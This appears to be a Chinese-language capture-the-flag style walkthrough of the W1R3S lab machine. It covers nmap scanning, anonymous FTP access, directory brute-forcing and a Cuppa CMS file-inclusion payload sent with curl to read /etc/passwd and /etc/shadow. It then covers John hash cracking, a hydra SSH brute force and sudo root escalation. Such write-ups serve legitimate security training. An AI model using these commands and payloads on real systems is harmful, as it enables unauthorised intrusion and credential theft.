靶机设置
打开设置,靶机设置为NAT模式,方便nmap扫描
扫描存活主机
查询自己ip
ip a
以sudo权限扫描自己所在网段存活的主机,-sn是不使用端口扫描,以最快的速度对整个网段进行扫描
sudo nmap -sn 192.168.188.0/24
发现靶机ip地址,应该在靶机上线前后都进行扫描,比较两次结果
端口扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.188.166 -oA nmapscan/ports
以最小速率10000对所有端口(1-65535)进行扫描,10000是权衡后结果,大于10000容易出现遗漏,-p是端口参数-p-表名对所有端口进行扫描,理论上要进行两次扫描,以免出现遗漏,-sT表示进行TCP扫描,相比于默认参数-sS更加精确,-o是指定输出格式,-oA则是全格式输出,后面常跟文件名
将探测到的端口合并赋值给ports变量
ports=$(grep open nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',')
awk -F ‘/’ ‘{print $1}’是将awk中默认的空格分割符改为/,以/为分割符将输入的内容进行分割,‘{print $1}’的意思是将第一个字符进行输出,经上述修改后字段变为/前面包含的内容
对靶机指定端口进行详细扫描,探测开放服务版本,探测操作系统版本,正式环境可能有网络延迟,建议扫两遍
sudo nmap -sT -sV -O -p21,22,80,3306 192.168.188.166 -oA nmapscan/detail
-sT表示进行TCP扫描(三握手),-p表示待扫描的端口(后跟待扫描的端口21,22,80,3306)-sV表示探测开放服务的版本,-O表示探测操作系统版本
分析:21端口是ftp服务,vsftpd,d一般指的是demon,可以实现匿名登录
sudo nmap -sU --top-ports 20 192.168.188.166 -oA nmapscan/udp
-sU表示进行udp扫描,–top-ports 20则是扫描常用的20个端口,-oA进行全格式输出,虽然UDP端口暴露的攻击面是比较小的,但在信息搜集阶段就应该搜集较全的信息,当TCP端口没有找到突破口的时候,说不定UDP也是一条路。
使用nmap自带的vuln脚本进行扫描,nmap里面的脚本会对端口的历史常见漏洞进行扫描探测,–script=vuln表示使用脚本vuln进行扫描,vuln是vulnrability的缩写
nmap -–script=vuln –p21,22,80,3306 192.168.200.139
发现了一个CMS为Wordpress的登录页面。然而拒绝服务这种攻击方式对我们没啥启发,一会可以重点关注一下Wordpress的cms有啥漏洞
信息搜集总结
完成四大扫描,确定渗透策略
- 端口扫描,了解哪些端口是开放的
- 详细信息扫描(最重要)
- udp扫描
- nmap漏洞脚本扫描
- 确定初步的渗透优先级和策略
一共有四个端口:21,22,80,3306。
- 80端口是http的web端口,且已经知道里面可能有wordpress的cms,具有较大的攻击面。这应该是最有可能的突破口
- 22是ssh远程登录端口,通常没啥漏洞,但是也不绝对,有可能存在弱口令或者暴力破解登录啥的,但这不是我们直接入手的角度,应该放在最后考虑。
- 21端口是ftp文件传输协议的端口,有可能存在匿名登录,FTP服务器中也可能有一些信息,也有一定的攻击面。FTP的突破口比较单一,操作比较容易。
- 3306端口是MySQL数据库的端口,前面漏洞扫描也并没有发现太多的思路,不过如果能登录数据库,应该也有信息。
综上,80端口是最有可能的突破口,但是由于FTP可能存在匿名登录,21端口的操作比较容易,我们不妨先试试21端口,再看80端口,接着看3306数据库,最后尝试22远程登录。
FTP渗透
尝试ftp能否通过匿名用户直接登录
ftp 主机ip anonymous
提示使用二进制模式传输文件
ftp命令行可以使用?查看可以使用的命令,进入content文件夹
?
ls
cd content
发现对每个文件都有读写的权限,ftp命令行中prompt是关闭交互模式的提示,避免在下载多个文件时的确认
mget可从远程FTP服务器上下载多个文件或文件夹,将content目录中的文件全部下载
mget *.txt
切换到别的目录将目录内的文件下载
cd docs
ls
get worktodo.txt
cd ..
cd new-employee
get employee-names.txt
get适用于只一次只下载一个文件的场景,mget一次可以下载多个文件
将下载的文件一起查看
第二串像md5加密,用hash-identifier去识别,发现最有可能是md5加密
破解出来是This is not a password,对明文用md5进行校验
和密文一样
对第三个密文进行分析,发现可能是base64,对他进行破解
-d是进行解码而非编码,又发现一个没用信息
第四串就是个ascii艺术字,写了the wires.inc,依然没用
最后两段都是上下反转,前后颠倒的密文,对他们进行破解
第一段密文,ı don’t thınk thıs ıs the way to root!
第二段,we have a ןot of work to do‘ stop pןayıng around˙˙˙˙
还有一个员工表,暂时不知道有什么用,先放着不管
base64特征:
base64除了数字和大小写字母,剩下的特殊符号只有3个。
第一是看特殊字符,或者说是正则规则匹配
+ / = 0-9 a-z A-Z
确认没有其他特殊字符就可以尝试base64的解码
第二就是 = 只在文末出现,最多2个。原因是补足
第三就是一些特殊情况。稍微复杂一点,主要是针对短字符串,首先base64的字符串一定能被4整数。比如root可以被4整除,但它其实并不是base64编码,因为解码之后的ascii码不在32-126之间,会有乱码。所以这里的主要判断方法还是解码看有没有乱码。这里还有一个特例,就是长度为1的非base64的字符串解码是空。
WEB渗透
发现攻击机不被允许登录
mysql -h 192.168.188.166 -u root -p
打开浏览器看下80端口跑的什么服务
发现默认网页,打开源码也没发现有用信息
目录爆破
执行目录爆破
sudo gobuster dir -u http://192.168.188.166 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
dir指定gobuster 执行目录枚举模式,-u指定ip地址,–wordlist=指定使用的字典,/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt是本地dirbuster的字典
发现一共有两个网页可以打开,修改hosts文件尝试访问wordpress也不行,尝试Cuppa CMS
database拼写错误,对于这种信息要敏感
填写账号和密码,发现管理员账户已经存在
使用searchsploit搜索是否有cupper cms的漏洞
searchsploit Cuppa cms
发现只有一个可以利用的漏洞,将他下载下来
searchsplloit Cuppa -m 25971.txt
打开查看可利用的漏洞
发现是个文件包含,并且存在编码,直接复制网址尝试是否能利用
发现并不能直接利用,安装的网址显示的url是administrator
怀疑cuppa被改成了administrator,修改一下继续尝试
发现有变化,但是没有读取出passwd,源码也没有泄露,怀疑采用post方式传参,可以通过网络上存在的cuppa cms查看源码
github的cuppa cms的文件中发现使用的是post的方式进行传参,漏洞依然存在
curl直接传参,发现还是没能获取获取passwd的内容,只返回了一些html和css的代码,查看curl的使用方法
curl --help all | grep url
发现url编码的使用方式,加上之后继续尝试
curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://192.168.188.174/administrator/alerts/alertConfigField.php?
第一个部分填写要url编码的内容,并将第一部分传给第二部分的处理程序
密码爆破
目录爆破成功,passwd的内容已经被显示,每个用户的第二段都是x,说明密码以哈希的方式存储在shadow文件中,回去查看shadow文件能否读取
读取成功,将shadow文件中存在哈希值的用户保留,破解密码
vim编辑器中进入可视模式dd删除比较快
直接使用john对shadow.hash进行破解,如果不成功再指定特定的参数
John shadow.hash
一般www-data是功能账号,w1r3s用户可能权限较高,尝试ssh登录
sudo ssh w1r3s@192.168.188.174
登录成功,查看当前用户和权限
whoami
id
uname -a
sudo -l
whoami用于查看当前用户,id显示当前用户id组id和所属组的id以及权限,uname -a列出系统的详细信息,sudo -l用于列出当前用户可以执行运行的sudo命令,发现拥有所有权限,进行提权
以root身份启动新的bash shell
sudo /bin/bash
再次确定用户身份和权限,cd进入root目录,ls出文件夹,直接查看flag
后记
其他方面若出不了结果,可以查看22端口,尝试进行暴力破解
先构造用户字典,尝试使用hydra暴力破解
hydra -L user.list -P /usr/share/wordlists/rockyou.txt ssh://192.168.188.174 -t 4
-L指定用户字典,-P指定密码字典,ssh://使用ssh远程登录,-t 4指定线程为4,成功爆破出w1r3s的密码和用户名,后面过程不在赘述
文件目录
自动执行文件:crontab存放于/etc/crontab或者在/etc/cron.d目录下,用于自动执行命令,一般可用于提权
用户文件:大多数基于Debian的Linux发行版,包括Ubuntu中,用户账户信息通常存储在/etc/passwd文件中,密码一般存储在/etc/shadow文件中
网站文件:在Linux系统中,特别是基于Debian和Ubuntu的系统中,网站的默认文档根目录通常是/var/www或/var/www/html,Apache服务器,默认的文档根目录通常是/var/www/html,Nginx服务器默认目录通常为/var/www或/usr/share/nginx/html等目录
bash:bash一般位于/bin/bash中,使用这个命令可以打开bashshell